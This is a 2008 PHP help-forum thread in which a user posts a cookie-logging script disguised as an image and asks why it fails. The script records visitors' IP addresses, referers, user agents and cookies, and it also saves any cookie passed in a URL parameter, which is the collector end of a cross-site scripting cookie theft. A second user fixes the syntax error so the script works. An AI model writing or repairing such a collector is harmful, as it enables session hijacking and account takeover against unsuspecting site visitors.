matthewtheexploit Posted July 27, 2008 Share Posted July 27, 2008 I keep getting a "Parse error: parse error, unexpected '\'' in /home/content/h/e/y/heytimbofr/html/MTEXIT/mte/lol.jpg/loler.php on line 10" <?php header ("Content-type: image/png"); $ip = ($_SERVER['REMOTE_ADDR']); $externalCookie = $_GET[cookie]; $thisCookie = ($_SERVER['HTTP_COOKIE']); $referer = ($_SERVER['HTTP_REFERER']); $agent = ($_SERVER['HTTP_USER_AGENT']); $return = "\n"; $twoReturn = "\n\n"; $filename = log.txt'; $fp = fopen($filename, "a+"); $write = fputs($fp, $ip, $return, $referer, $return, $agent, $twoReturn, $externalCookie, $twoReturn, $thisCookie, twoReturn); $img_handle = ImageCreate (500, 20) or die ("Cannot Create image"); $back_color = ImageColorAllocate ($img_handle, 255, 255, 255); $txt_color = ImageColorAllocate ($img_handle, 231, 43, 43); ImageString ($img_handle, 31, 5, 5, "owned", $txt_color); ImagePng ($img_handle); ?> maybe you can figure out what i did wrong? Quote Link to comment Share on other sites More sharing options...
toivo Posted July 27, 2008 Share Posted July 27, 2008 The initial single quote is missing: $filename = 'log.txt'; Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.